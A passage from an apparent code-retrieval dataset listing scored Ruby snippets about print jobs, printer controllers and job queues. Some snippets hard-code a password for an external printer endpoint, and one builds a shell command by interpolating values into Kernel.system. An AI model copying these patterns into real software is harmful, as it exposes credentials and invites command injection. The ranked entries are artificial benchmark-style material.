"text": "def create\n @print = Print.new(print_params)\n @print.attachment.created_by = current_user\n if @print.save\n CommonActions.notification_process('Print', @print)\n respond_with @print\n else\n respond_with @print\n end\n end",
"title": ""
},
{
"docid": "1df4f3d62ecaef91ee8882ef1ddd1dda",
"score": "0.52121115",
"text": "def initialize(params, printer = Printer.new)\n @params = params\n @options = {}\n @printer = printer\n end",
"title": ""
},
{
"docid": "4a7ee3a09efb6db04cb50fee52e6434b",
"score": "0.52099216",
"text": "def print_fetch_queue(item, printerid, fetch_result)\n if fetch_result['success']\n Kinokero::Log.verbose_debug \"#{ printerid } queue has #{ fetch_result['jobs'].size } jobs\"\n\n my_cloudprint = @my_devices[item].cloudprint # DRY access\n\n # deal with each job fetched\n fetch_result['jobs'].each do |job|\n\n unless printerid == job['printerid'] # ? hmmm, different printer ref'd\n\n item = item_from_printerid( printerid ) # find corresponding device item\n printerid = job['printerid']\n my_cloudprint = @my_devices[item].cloudprint # DRY access\n print \"\\e[1;31m\\n***** WARNING ***** differ printerid in fetch queue #{printerid}\\n\\e[0m\" \n end\n\n # able to download the job file for printing?\n if ( job_file = my_cloudprint.gcp_get_job_file( job[\"fileUrl\"] ) )\n\n # update printer status to IN PROGRESS\n my_cloudprint.gcp_job_status(\n job[\"id\"], \n ::Kinokero::Cloudprint::GCP_JOBSTATE_IN_PROGRESS, \n 0\n )\n\n # write the file locally\n File.open( job[\"id\"], 'wb') { |fp| fp.write(job_file) }\n \n status = @my_devices[item].print_file( job['id'] )\n\n # TODO: do something intelligent with the status\n # like report back to GCP\n\n # poll printer job status & report back to GCP\n my_cloudprint.gcp_job_status( \n job[\"id\"], \n ::Kinokero::Cloudprint::GCP_JOBSTATE_DONE, \n job[\"numberOfPages\"] \n )\n\n # delete the file\n File.delete( job[\"id\"] )\n\n else # failure to get file; tell GCP about the status\n my_cloudprint.gcp_job_status_abort( \n job[\"id\"], \n ::Kinokero::Cloudprint::GCP_USER_ACTION_OTHER,\n 0\n )\n \n end # if..then..else get job file\n\n end # do each job\n end # pending job queue from fetch\n\n end",
"title": ""
},
{
"docid": "45f54f41addd2563e15e0abb927a259c",
"score": "0.5202696",
"text": "def create(id, job)\n nomad_connection.job.create(id, job)\n end",
"title": ""
},
{
"docid": "457c9292cf887200af3cd09b0d4cb42e",
"score": "0.51552105",
"text": "def print_by_one\n printer_host = \"http://6.p.smartlife.space:8080/printer/print\"\n\n form_data = {\n 'file': File.new(params[\"file\"].path),\n password: 'RUARUARUA',\n copies: 1,\n }\n\n if page = job_params['page']\n form_data.merge!({range: page})\n end\n\n if copy = job_params['copy']\n form_data.merge!({copies: copy})\n end\n\n resp = RestClient.post printer_host, form_data\n\n unless resp.body.match \"true\"\n return nil\n end\n\n return resp.code.to_s\n end",
"title": ""
},
{
"docid": "1f5802738659fb7b7233af50d2193512",
"score": "0.5141993",
"text": "def initialize(job)\n @job = job\n end",
"title": ""
},
{
"docid": "1f5802738659fb7b7233af50d2193512",
"score": "0.5141798",
"text": "def initialize(job)\n @job = job\n end",
"title": ""
},
{
"docid": "01ba7c2586ce5791b1fae12def44ca62",
"score": "0.51258594",
"text": "def printer()\n return MicrosoftGraph::Print::Shares::Item::Printer::PrinterRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"title": ""
},
{
"docid": "de4217b86e47aa951d7303c0928aaf42",
"score": "0.5086091",
"text": "def create\n create_job_with job_params\n end",
"title": ""
},
{
"docid": "a39b414a8c4fb03be14da200990602e7",
"score": "0.5081001",
"text": "def initialize(*args)\n super\n\n @job = Job.create!(id: job_id)\n end",
"title": ""
},
{
"docid": "e186b1591eb8c29b8c089859c5205a28",
"score": "0.5031283",
"text": "def create\n @asset = Printer.new(params[:asset])\n asset_create('printer', printers_url)\n end",
"title": ""
},
{
"docid": "3de276ace148a2e6dd72541fcf6f46d4",
"score": "0.5031257",
"text": "def create(id, job)\n connection.post do |req|\n req.url \"job/#{id}\"\n req.body = job\n end\n end",
"title": ""
},
{
"docid": "23fec775cf1fbdd9d4d3041cd381e5e9",
"score": "0.5015936",
"text": "def start_print\n\t\tcreate_document\n\tend",
"title": ""
},
{
"docid": "fb9f3fdc68c88e61b8abcb02991b5d27",
"score": "0.49970105",
"text": "def create_job\n return unless @job_url.nil?\n return if @js_url.nil?\n require 'json'\n require 'net/http'\n begin\n job = { name: self.id }\n u = URI.parse(@js_url+'/jobs')\n req = Net::HTTP::Post.new(u.path, {'Content-Type' =>'application/json'})\n req.body = JSON.pretty_generate(job)\n res = Net::HTTP.new(u.host, u.port).start {|http| http.request(req) }\n raise \"Could not create a job for this experiment trial\\n\"+\n \"Response #{res.code} #{res.message}:\\n#{res.body}\" unless res.kind_of? Net::HTTPSuccess\n job = JSON.parse(res.body)\n raise \"No valid URL received for the created job for this experiment trial\" if job['href'].nil?\n @job_url = job['href']\n end\n end",
"title": ""
},
{
"docid": "d56901328ccbed9b0efa4876e648e12e",
"score": "0.4992104",
"text": "def create\n @print = current_user.print.new(print_params)\n\n respond_to do |format|\n if @print.save\n\n format.html { redirect_to @print, notice: 'Print was successfully created.' }\n format.json { render :show, status: :created, location: @print }\n else\n format.html { render :new }\n format.json { render json: @print.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5dba425acbf386495bdb3c224c7b4040",
"score": "0.49895343",
"text": "def initialize(printer_id, title, content_type, content, source, in_memory, use_base64)\n @printer_id = printer_id\n @title = title\n @content_type = content_type\n @content = content\n @source = source\n @in_memory = in_memory\n @use_base64 = use_base64\n end",
"title": ""
},
{
"docid": "c3ccb86a15829bb1d9b5d2a8a8dba890",
"score": "0.496595",
"text": "def perform model_name, id, printer_id, item_id\n # Do something later\n printer = Printer.find(printer_id.to_i)\n print_template = printer.print_template\n #Rails.logger.info \"MOMERDA 2: #{model_name.constantize.inspect}\"\n header = model_name.constantize.find(id)\n item = ChosenItem.find(item_id)\n @printed = 0\n\n @pjob = PrintJob.create(printer_id: printer.id, finished: false, iserror: false, total: 1, printed: @printed)\n # Spezzetto l'array degli items in gruppi di number_of_barcodes\n # Rails.logger.info \"BELLAAAAAAA! #{items.group_by.with_index{|_, i| i % print_template.number_of_barcodes}.values.inspect}\"\n\n # Rails.logger.info \"ITEMGROUP: #{item_group.inspect}\"\n\n # Rails.logger.info \"AAAAHHHHHHHHHH: #{barcodes.inspect}\"\n translation = print_template.translate(header: header, items: [item.id], temperature: printer.temperature)\n # Rails.logger.info \"BARCODES: #{barcodes.inspect}\"\n result = send_to_printer printer.ip, translation\n # Se il risultato è un errore, allora mi fermo completamente e loggo il numero di particolari stampati\n # Rails.logger.info \"RISULTATO: #{result}\"\n return unless result\n @pjob.update(printed: @printed)\n @pjob.update(finished: true)\n end",
"title": ""
},
{
"docid": "5ac3a1c920cda12b8263915a3fcc4a58",
"score": "0.4965132",
"text": "def run\n cups_job.print\n end",
"title": ""
},
{
"docid": "cfcdabc30e812aebc59ad99bbffe3f5e",
"score": "0.4960465",
"text": "def make(hash) #new job is a Hash\n raise NoSuchJob unless jr_job = JR.jobs[hash['name']]\n\n job = hash\n add_start_callback(job) if JR.config[:log_job_processing]\n job.callback(&jr_job[:job])\n\n jr_job[:callbacks].each do |callback|\n job.callback(&callback[1])\n end if jr_job[:callbacks]\n\n add_last_callback(job) if JR.config[:log_job_processing]\n\n add_start_errback(job) if JR.config[:log_job_processing]\n\n jr_job[:errbacks].each do |errback|\n job.errback(&errback[1])\n end if jr_job[:errbacks]\n\n add_complete_errback(job) if JR.config[:log_job_processing]\n\n job\n end",
"title": ""
},
{
"docid": "c03049b055e02f76ea9cb1e66d3b6370",
"score": "0.4940176",
"text": "def create_job\n\n end",
"title": ""
},
{
"docid": "3e6b42db9a84522e7a59c3bd85e7da85",
"score": "0.4920345",
"text": "def print_job_details\n @jobs = Job.all\n html = render_to_string(:layout => false, :action => \"print_job_details.html.erb\")\n kit = PDFKit.new(html)\n send_data(kit.to_pdf, :filename => 'Help_List.pdf', :type => 'application/pdf',:target => '_blank')\n end",
"title": ""
},
{
"docid": "1dad2b1e87a679f2d8bcf1a64b7265e0",
"score": "0.49158728",
"text": "def print_jobs(jobs)\n do_print_jobs(jobs)\n end",
"title": ""
},
{
"docid": "ab486d5bb49a1d321f660fbcdc5a124e",
"score": "0.49108073",
"text": "def new\n @job = Job.new :start_date => Time.now.strftime('%m/%d/%Y')\n end",
"title": ""
},
{
"docid": "b59ecc3aead952325eb51f6c133e995a",
"score": "0.4905545",
"text": "def printer_params\n params.fetch(:printer, {}).permit(:friendly_id, :manufacturer, :model, :num_jobs, :description, :status)\n end",
"title": ""
},
{
"docid": "1033c1cbc486207649c9515b3a269109",
"score": "0.4881994",
"text": "def view_print_jobs\n response = @connection.get PDF_URL\n result = JSON.parse(response.body)\n end",
"title": ""
},
{
"docid": "1033c1cbc486207649c9515b3a269109",
"score": "0.4881994",
"text": "def view_print_jobs\n response = @connection.get PDF_URL\n result = JSON.parse(response.body)\n end",
"title": ""
},
{
"docid": "885a777906461e3587153501cde3705d",
"score": "0.48786414",
"text": "def create\n @title = t('view.prints.new_title')\n @print = current_user.prints.build(params[:print])\n session[:documents_for_printing].try(:clear)\n\n respond_to do |format|\n if @print.save\n format.html { redirect_to(@print, notice: t('view.prints.correctly_created')) }\n format.json { render json: @print, status: :created, location: @print }\n else\n format.html { render action: 'new' }\n format.json { render json: @print.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0e83a36f5fe508c7a704311fc824b8ca",
"score": "0.48770666",
"text": "def check_print_job\n return if print_job.blank?\n return if print_job.valid?\n\n print_job.errors.each do |error|\n errors.add(error.attribute, error.message)\n end\n end",
"title": ""
},
{
"docid": "b8fdede9c9024524af1e903f26506cdc",
"score": "0.48586577",
"text": "def initialize(jobs, distance_cost, location, contact)\n @jobs = jobs\n @distance_cost = distance_cost\n @location = location\n @contact = contact\n\n # table template for quote\n @quote_1 =\n table = Terminal::Table.new :title => \"Quick Quote\" do |t|\n\n t << [\"Job:\", \"#{@jobs[:name]}\"]\n t.add_row [\"Materials Cost:\", \"$#{@jobs[:materials_cost].to_i}\"]\n t << :separator\n t.add_row [\"Labour:\", \"Hours: #{@jobs[:time].to_i}\\nRate: $50/hour\"]\n t.add_separator\n t.add_row [\"Total Labour:\", \"$#{@jobs[:time] * 50}\"]\n t.add_row [\"Travel to #{location}:\", \"$#{@distance_cost}\"]\n t.add_row [\"Total:\", \"$#{(@distance_cost + @jobs[:materials_cost].to_i + (@jobs[:time] * 50)).round(2)}\"]\n\n end\n end",
"title": ""
},
{
"docid": "a57b4b1a6d1f54d3506e76730096ef80",
"score": "0.48580325",
"text": "def by_print_task_trigger_id(print_task_trigger_id)\n raise StandardError, 'print_task_trigger_id cannot be null' if print_task_trigger_id.nil?\n url_tpl_params = @path_parameters.clone\n url_tpl_params[\"printTaskTrigger%2Did\"] = print_task_trigger_id\n return MicrosoftGraph::Print::Printers::Item::TaskTriggers::Item::PrintTaskTriggerItemRequestBuilder.new(url_tpl_params, @request_adapter)\n end",
"title": ""
},
{
"docid": "855e5fba30b3ad2394a58194b17a8da2",
"score": "0.48538357",
"text": "def new_instance\n self.class.new(worker_name: worker_name, job_queue: job_queue, job_args: job_args, job_meta: job_meta)\n end",
"title": ""
},
{
"docid": "9097c6f7a2c9c56068e19e2018642f78",
"score": "0.48327926",
"text": "def create(args = nil)\n logger.info \"QueueProcessingWorker startup: #{Time.now}\"\n end",
"title": ""
},
{
"docid": "c043b29e8f225f9b10cd8432c0f5b621",
"score": "0.48297384",
"text": "def new\n @title = t('view.prints.new_title')\n\n unless params[:clear_documents_for_printing].blank?\n session[:documents_for_printing].try(:clear)\n end\n\n @print = current_user.prints.build(\n order_id: params[:order_id],\n include_documents: session[:documents_for_printing],\n copy_from: params[:copy_from]\n )\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @print }\n end\n end",
"title": ""
},
{
"docid": "fc4bbdfa7a3362ba6ce7719df96601e0",
"score": "0.48152643",
"text": "def create\n @reference_print = ReferencePrint.new(params[:reference_print])\n\n respond_to do |format|\n if @reference_print.save\n format.html { redirect_to @reference_print, notice: 'Reference print was successfully created.' }\n format.json { render json: @reference_print, status: :created, location: @reference_print }\n else\n format.html { render action: \"new\" }\n format.json { render json: @reference_print.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7e01fb03b05e4d7f0b346dc127966968",
"score": "0.48136717",
"text": "def printer\n @printer\n end",
"title": ""
},
{
"docid": "5a093ebc1b5939c4767281ecc68bc268",
"score": "0.48068708",
"text": "def initialize(name, job_id)\n @name = name\n @id = job_id\n @created_at = Time.now\n end",
"title": ""
},
{
"docid": "428a13afa4142addb618e4044e219e87",
"score": "0.47930747",
"text": "def create\n @title = t('view.prints.new_title')\n @print = current_user.prints.build(print_params)\n session[:documents_for_printing].try(:clear)\n\n respond_to do |format|\n if @print.save\n format.html { redirect_to(@print, notice: t('view.prints.correctly_created')) }\n format.json { render json: @print, status: :created, location: @print }\n else\n if @print.errors && ([:credit_password, :printer] - @print.errors.keys).empty?\n report_validation_error(@print)\n end\n format.html { render action: 'new' }\n format.json { render json: @print.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3f7c020177a4a9f0468d512053eb5691",
"score": "0.47921112",
"text": "def create(**properties)\n job = new_resource(:job, post_json('jobs/create', properties))\n job.add_properties(properties)\n job\n end",
"title": ""
},
{
"docid": "45a0b9622acf78c136d86bf637be05ec",
"score": "0.478997",
"text": "def create\n @print = Print.create!(print_params)\n @print.user = current_user\n @print.save\n\n # Redirect it to the index page.\n redirect_to action: \"index\"\n end",
"title": ""
},
{
"docid": "5bf6ffe76425c67509627c62e32b64be",
"score": "0.47878572",
"text": "def job\n OSC::Machete::Job.new(job_cache.symbolize_keys)\n end",
"title": ""
},
{
"docid": "495f0996bd859750b41d2666422f3b5d",
"score": "0.47868916",
"text": "def initialize(*args)\n job = args[0]\n @processor = args[1]\n job = job.stringify_keys\n @job = job\n process_job(job)\n processor.register_worker_for_job(job, self)\n end",
"title": ""
},
{
"docid": "fe934f59ac4721ec22e1c52498300285",
"score": "0.47619584",
"text": "def label_print\n\n # First find the printer\n p = Printer.find_by(id: params[:printer_id])\n if p.nil?\n flash[:error] = \"Printer not found\"\n return redirect_back(fallback_location: admin_root_path)\n end\n\n # See which label size this job is for (poor English here)\n label_prefix = Setting.get(Rails.configuration.domain_id, :kiaro, \"Label Prefix\")\n label = params[:label].split(\" \", 2)[1] + \".alf\"\n label_count = 0\n str = \"\"\n logs = []\n\n # LOOP through the items selected\n params[:print_items].each do |h|\n # puts h.inspect\n next if h['quantity'] == \"0\"\n next if h['personalized'] == 'true' && h['rendered_file'].blank?\n\n qty = h['quantity'].to_i\n label_count += qty\n\n ### QUICKCOMMAND LABEL SPECS #########\n str << \"LABELNAME=#{label}\\r\\n\"\n\n if h['personalized'] == 'true'\n img = h['rendered_file'].split('/').last\n str << \"FIELD 001=#{label_prefix}\\\\personalized_labels\\\\#{img}\\r\\n\"\n else\n prod = Product.find_by(item_number: h['item_number'])\n\n # handle nothing to print\n if prod.nil? || prod.label_file.blank?\n flash[:error] = \"Label is not configured for item [#{h['item_number']}]. Cannot print.\"\n return redirect_back(fallback_location: admin_root_path)\n end\n\n str << \"FIELD 001=#{label_prefix}#{prod.label_file.tr('/', '\\\\')}\\r\\n\"\n end\n\n str << \"LABELQUANTITY=#{qty}\\r\\n\"\n str << \"PRINTER=#{p.url}\\r\\n\\r\\n\"\n ######################################\n\n logs << Log.new(timestamp: DateTime.now,\n loggable_type: 'Printer',\n loggable_id: p.id,\n event: :label_printed,\n data1: h['item_number'],\n data2: qty,\n data3: p.name,\n ip_address: request.remote_ip,\n user_id: session[:user_id])\n end\n\n # handle nothing to print\n if label_count == 0\n flash[:error] = \"No labels specified for printing.\"\n return redirect_back(fallback_location: admin_root_path)\n end\n\n # puts str\n # flash[:error] = \"Testing short circuit.\"\n # return redirect_back(fallback_location: admin_root_path)\n\n # SCP file over to server\n tmp_file = \"/tmp/\" + Time.now.strftime(\"%Y-%m-%d-%H%M%S\") + \".acf\"\n File.write(tmp_file, str)\n\n # example scp://user:pass@server1.mydomain.com:/home/kiaro/monitor/\n uri = URI(Setting.get(Rails.configuration.domain_id, :kiaro, \"Print Job URI\"))\n\n begin\n Net::SCP.upload!(uri.host, uri.user, tmp_file, uri.path, :ssh => {:password => uri.password, :port => uri.port || 22})\n flash[:success] = \"#{label_count} labels submitted for printing\"\n logs.each(&:save)\n Log.create(timestamp: DateTime.now, loggable_type: 'Printer', loggable_id: p.id, event: :job_submitted,\n data1: label, data2: label_count, ip_address: request.remote_ip, user_id: session[:user_id])\n rescue => e\n flash[:error] = e.message\n end\n\n File.delete(tmp_file)\n redirect_back(fallback_location: admin_root_path)\n end",
"title": ""
},
{
"docid": "e3bb14052f4112ff08e396f9951b182d",
"score": "0.47493657",
"text": "def print_job(job)\n printf \"Name: %s\\n\", job[0]\n printf \"\\tSummary: %s\\n\", job[1][\"summary\"]\n printf \"\\tPriority: %i\\n\", job[1][\"priority\"]\n printf \"\\tTTC: %i min\\n\", job[1][\"ttc\"]\n if job[1][\"parent\"] != nil\n printf \"\\tParent: %s\\n\", job[1][\"parent\"]\n end\n if job[1][\"children\"] != nil\n printf \"\\tChildren:\\n\"\n job[1][\"children\"].each do |n|\n printf \"\\t\\t%s\\n\", n\n end\n end\n printf \"\\tAdded: %s\\n\", job[1][\"added\"].to_s\n if job[1][\"schedule\"] != nil\n printf \"\\tStart: %s\\n\", job[1][\"schedule\"].to_s\n end\n if job[1][\"hold\"] != nil\n printf \"\\tHeld: %s\\n\", job[1][\"hold\"].to_s\n end\n if job[1][\"unhold\"] != nil\n printf \"\\tUnheld: %s\\n\", job[1][\"unhold\"].to_s\n end\n if job[1][\"completed\"] != nil\n printf \"\\tCompleted: %s\\n\", job[1][\"completed\"].to_s\n end\n puts\nend",
"title": ""
},
{
"docid": "5b59606ad2079979793c42f4394d5cab",
"score": "0.47493255",
"text": "def job\n @job_id = JOB_MANAGER.next_job_id\n JOB_MANAGER.enqueue(@job_id)\n Ramaze::Log.debug \"started the job!\"\n end",
"title": ""
},
{
"docid": "2d1fac6c427da12f54c033eedc2c8a90",
"score": "0.4743398",
"text": "def create\n @print_work = @user.print_works.new(params[:print_work])\n # @print_work.user = current_user\n\n respond_to do |format|\n if @print_work.save\n format.html { redirect_to @print_work, notice: 'Print work was successfully created.' }\n format.json { render json: @print_work, status: :created, location: @print_work }\n else\n format.html { render action: \"new\" }\n format.json { render json: @print_work.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bd23ad0d89296f4e421157891fc1ff37",
"score": "0.47425294",
"text": "def create_release_job!\n # Store the job id so that it can be retrieved later\n update_attribute(:job_id, Doghouse.delay(run_at: duration_minutes.minutes.from_now).release!(id).id)\n end",
"title": ""
},
{
"docid": "a34f83f8ebc437cb50132b95e6635268",
"score": "0.47414377",
"text": "def initialize(args, *options)\n @job = parse_job!(args)\n super\n end",
"title": ""
},
{
"docid": "de99fa95704a8e3d0a5c95b16ceabb56",
"score": "0.47394547",
"text": "def build_job(node, path, priority=\"Normal\", type=\"BdDl\")\n node.add \"rim:Job\" do |job|\n case type\n when \"BdDl\"\n blueray_imaging_options(job, path)\n when \"Dvdr\"\n dvd_imaging_options(job, path)\n end\n job.add \"rim:JobId\", create_job_id(path)\n job.add \"rim:Priority\", priority\n production_options(job, type, path)\n job.add \"rim:Type\", \"ImageAndRecord\"\n end\n node\n end",
"title": ""
},
{
"docid": "a7250efb25bae392b9b4f144b8b4f55b",
"score": "0.4735019",
"text": "def initialize(auth, api_url = 'https://api.printnode.com')\n @auth = auth\n @api_url = api_url\n @headers = {}\n end",
"title": ""
},
{
"docid": "e43b949af6eacc28d0f47f693523724d",
"score": "0.47296357",
"text": "def new\n @title = t('view.prints.new_title')\n \n unless params[:clear_documents_for_printing].blank?\n session[:documents_for_printing].try(:clear)\n end\n\n @print = current_user.prints.build(\n order_id: params[:order_id],\n include_documents: session[:documents_for_printing]\n )\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @print }\n end\n end",
"title": ""
},
{
"docid": "c667129fa092ee5bd13a3ee8e0508859",
"score": "0.47220656",
"text": "def map_to_custom_printer()\n\n # by default, just return this object\n custom_printer = self\n\n if \"Spreadshirt\".eql? printer_type\n # format to spreadshirt PORO\n custom_printer = SpreadshirtData.new\n custom_printer.id = self.id\n custom_printer.printer_type = self.printer_type\n custom_printer.name = self.name\n custom_printer.external_shop_id = self.external_shop_id\n custom_printer.account_code = self.account\n custom_printer.api_key = self.api_key\n custom_printer.api_secret = self.api_secret\n custom_printer.url = self.url\n custom_printer.user = self.user\n custom_printer.password = self.password\n elsif \"Pwinty\".eql? printer_type\n custom_printer = PwintyData.new\n custom_printer.id = self.id\n custom_printer.printer_type = self.printer_type\n custom_printer.name = self.name\n custom_printer.url = self.url\n custom_printer.merchant_id = self.user \n custom_printer.api_key = self.api_key\n end\n\n return custom_printer\n end",
"title": ""
},
{
"docid": "de3efada3b6ccd52f61136f60cc5b315",
"score": "0.47110915",
"text": "def print\n authorize resource, :print?\n if resources.any?\n params[:context] = self\n params[:printed_by] = current_user || User.first\n params[:print] ||= {}\n params[:print][:collation] ||= 'list'\n params[:print_job] ||= {}\n # params[:print_job][:view_template] ||= current_user.account.find_print_template(params[:print][:template]) || Template.new( template_path: 'list.html.haml')\n # params[:print_job][:print_driver] = params[:print][:print_driver] || params[:print_job][:view_template].template_print_driver\n # params[:print_job][:paper] = params[:print_job][:view_template].template_paper || params[:print][:paper] || \"A4\"\n params[:print_job][:paper] = params[:print][:paper] || \"A4\"\n #\n # ok so we have items to print!\n status = case params[:print][:medium]\n when \"display\" ; display_print_result and return\n when \"email\" ; email_print_result\n when \"printer\" ; print_print_result\n when \"download\" ; download_print_result and return\n else\n flash[:error] = t('output.medium.no_medium_found');\n 301\n end\n end\n render :print, layout: false, status: status and return\n\n # rescue Exception => e\n # scoop_from_error e\n end",
"title": ""
},
{
"docid": "fa41ccc30ce6cdb4641e15b98a7f47ee",
"score": "0.4710347",
"text": "def set_printer\n @printer = @current_branch.printers.find(params[:id])\n end",
"title": ""
},
{
"docid": "798b331d61e9e1ebc765bbe9dc341fc9",
"score": "0.46937147",
"text": "def to_job\n Job.new(@config)\n end",
"title": ""
},
{
"docid": "5e101d0a3aecdfb89667fbabba39ead5",
"score": "0.468339",
"text": "def print_params\n params.require(:print).permit(:project_id, :revision_id, :user_id, :print, :issue, :created_at, :updated_at)\n end",
"title": ""
},
{
"docid": "0887873b60949883a8accf31adb053e1",
"score": "0.4674807",
"text": "def get_instance(payload)\n JobInstance.new(@version, payload)\n end",
"title": ""
},
{
"docid": "5f92f659279f3e82c7a633268f2fed0e",
"score": "0.46739474",
"text": "def initialize\n job_processor\n end",
"title": ""
},
{
"docid": "8384a7e374779ae5c262371806fdf2c9",
"score": "0.46734068",
"text": "def new\n @print_queue = PrintQueue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @print_queue }\n end\n end",
"title": ""
},
{
"docid": "187ea3be74d7dc3f17496b7174f684b4",
"score": "0.46714106",
"text": "def create\n @job = params[:training_job]\n\n @training_job = nil\n queue = nil\n\n Training::Job.transaction do\n @training_job = Training::Job.new(@job)\n queue = @training_job.queue\n queue.lock!\n raise ForbiddenError.new('wrong requirements') unless @training_job.queueable?\n raise ForbiddenError.new('quantity invalid') unless @training_job.quantity.to_i > 0\n @training_job.position = queue.max_position + 1\n @training_job.quantity_finished = 0\n @training_job.save\n end\n\n queue.reload\n queue.check_for_new_jobs\n\n respond_to do |format|\n if @training_job.save\n format.html { redirect_to @training_job, notice: 'training job was successfully created.' }\n format.json { render json: @training_job, status: :created, location: @training_job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @training_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6b28d7eb8a784bddc099804e911888d2",
"score": "0.4663519",
"text": "def create\n @tqrdc_job = Tqrdc::Job.new(tqrdc_job_params)\n\n respond_to do |format|\n if @tqrdc_job.save\n format.html { redirect_to @tqrdc_job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @tqrdc_job }\n else\n format.html { render :new }\n format.json { render json: @tqrdc_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9012dd6aed6e96c2042d371affdaf263",
"score": "0.46633023",
"text": "def create_new_job\n\t\t@job = Job.new\n\t\trespond_to do |format|\n\t\t\tformat.js\n\t\tend\n\tend",
"title": ""
},
{
"docid": "91201de889916718c802a4e99df35be1",
"score": "0.46572918",
"text": "def set_print\n @print = Print.find(params[:id])\n end",
"title": ""
},
{
"docid": "91201de889916718c802a4e99df35be1",
"score": "0.46572918",
"text": "def set_print\n @print = Print.find(params[:id])\n end",
"title": ""
},
{
"docid": "e1f0eacee041864c58c6295de738a5ac",
"score": "0.46349636",
"text": "def initialize(params={})\n @connection = PrintNode::Client.connection(username: params[:username], password: params[:password])\n end",
"title": ""
},
{
"docid": "a9807d907c0d3f8eb3c8963ef1c23cf5",
"score": "0.46295503",
"text": "def new_queue\n queue = EM::Queue.new\n processor = proc { |job|\n log.debug \"Starting job #{job.id}\"\n\n callback = proc do |job|\n log.debug \"Job #{job.id} finished\"\n notifier.finished job\n jobs.delete job # Remove job from jobs queue\n # Pop next job or wait for other\n queue.pop(&processor)\n end\n\n notifier.started job\n\n # Subscribe to stdout for send notifications\n job.subscribe do |msg|\n notifier.stdout job, data: msg\n end\n EM::defer proc { job.start }, callback\n }\n\n # Pop first element for start the process\n queue.pop(&processor)\n return queue\n end",
"title": ""
},
{
"docid": "e98e238afe9766d47a48d46cd901efda",
"score": "0.46230763",
"text": "def create_job(job_url,at)\n options = { query: {job: {method: 'POST', at: at, uri: job_url}} }\n\n response = self.class.post('/jobs.json', options)\n check_for_errors(response)\n response['success']['job']\n end",
"title": ""
},
{
"docid": "3a5e5949b2ceea6433ff101e2a2c7c9a",
"score": "0.462255",
"text": "def initialize(**options)\n @output = options.fetch(:output) { $stdout }\n @color = options.fetch(:color) { true }\n @uuid = options.fetch(:uuid) { true }\n @printer_name = options.fetch(:printer) { :pretty }\n @dry_run = options.fetch(:dry_run) { false }\n @printer = use_printer(@printer_name, color: @color, uuid: @uuid)\n @cmd_options = {}\n @cmd_options[:verbose] = options.fetch(:verbose, true)\n @cmd_options[:pty] = true if options[:pty]\n @cmd_options[:binmode] = true if options[:binmode]\n @cmd_options[:timeout] = options[:timeout] if options[:timeout]\n end",
"title": ""
},
{
"docid": "50dbd7f742a99436cb67abf01f05d79f",
"score": "0.4621159",
"text": "def test_job_request\n sketch = handle_active('job', {'name'=> 'new-job'})\n assert(@active_session.jobs.has_key?('new-job'))\n assert_equal(MainPageSketch, sketch.class)\n assert_equal(green_p(\"Job 'new-job' created.\"),\n sketch.last_results_xhtml)\n end",
"title": ""
},
{
"docid": "4b8b0830965ba7dcff89e1e519f7f839",
"score": "0.4618318",
"text": "def create(options = {})\n if options.nil? || options.empty?\n raise Exception, '\"options\" missing required parameters'\n end\n job = { 'job' => options }\n res = self.post \"/translate/job\", :body => job\n check_for_errors(res)\n res['response']\n end",
"title": ""
},
{
"docid": "dbed39f5c43057c009c744d834d57268",
"score": "0.46167737",
"text": "def create\n @printer = Printer.new(printer_params)\n\n respond_to do |format|\n if @printer.save\n format.html { redirect_to @printer, :flash => { success: 'Printer was successfully created.' } }\n format.json { render action: 'show', status: :created, location: @printer }\n else\n format.html { render action: 'new' }\n format.json { render json: @printer.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9171e4d22f96b5919062da6410d1ae36",
"score": "0.46159133",
"text": "def create\n @printer = Printer.new(params[:printer])\n\n respond_to do |format|\n if @printer.save\n format.html { redirect_to @printer, notice: 'Printer was successfully created.' }\n format.json { render json: @printer, status: :created, location: @printer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @printer.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9171e4d22f96b5919062da6410d1ae36",
"score": "0.46159133",
"text": "def create\n @printer = Printer.new(params[:printer])\n\n respond_to do |format|\n if @printer.save\n format.html { redirect_to @printer, notice: 'Printer was successfully created.' }\n format.json { render json: @printer, status: :created, location: @printer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @printer.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ebc1128993dfac02bced230d73174c50",
"score": "0.46148476",
"text": "def inspect\n \"<Twilio.Bulkexports.V1.ExportCustomJobInstance>\"\n end",
"title": ""
},
{
"docid": "2dca798c2380368ee0f4782c069e2b2b",
"score": "0.46077153",
"text": "def print\n tempfile = Tempfile.new 'datamax_label', '/Users/tom/Temp/'\n tempfile << dump\n tempfile.close\n Kernel.system \"lpr -P #{printer} #{tempfile.path}\"\n end",
"title": ""
},
{
"docid": "8639aaad061ae60e8589f8a4655fdbbd",
"score": "0.4605721",
"text": "def start_report(job_params)\n #noinspection RubyArgCount\n response = @conn.post { |req|\n req.params[:jobParams] = job_params\n }\n JSON.parse(response.body)\n end",
"title": ""
},
{
"docid": "dc302942a014baf3e6928774cfc9f507",
"score": "0.4605063",
"text": "def copy(new_job=nil)\n new_job = \"copy_of_#{@name}\" if new_job.nil?\n\n response = send_post_request(@@xml_api_create_item_path, {:name=>new_job, :mode=>\"copy\", :from=>@name})\n raise(APIError, \"Error copying job #{@name}: #{response.body}\") if response.class != Net::HTTPFound\n Job.new(new_job)\n end",
"title": ""
},
{
"docid": "f3b86e7a0f73191131250ca955569083",
"score": "0.4602207",
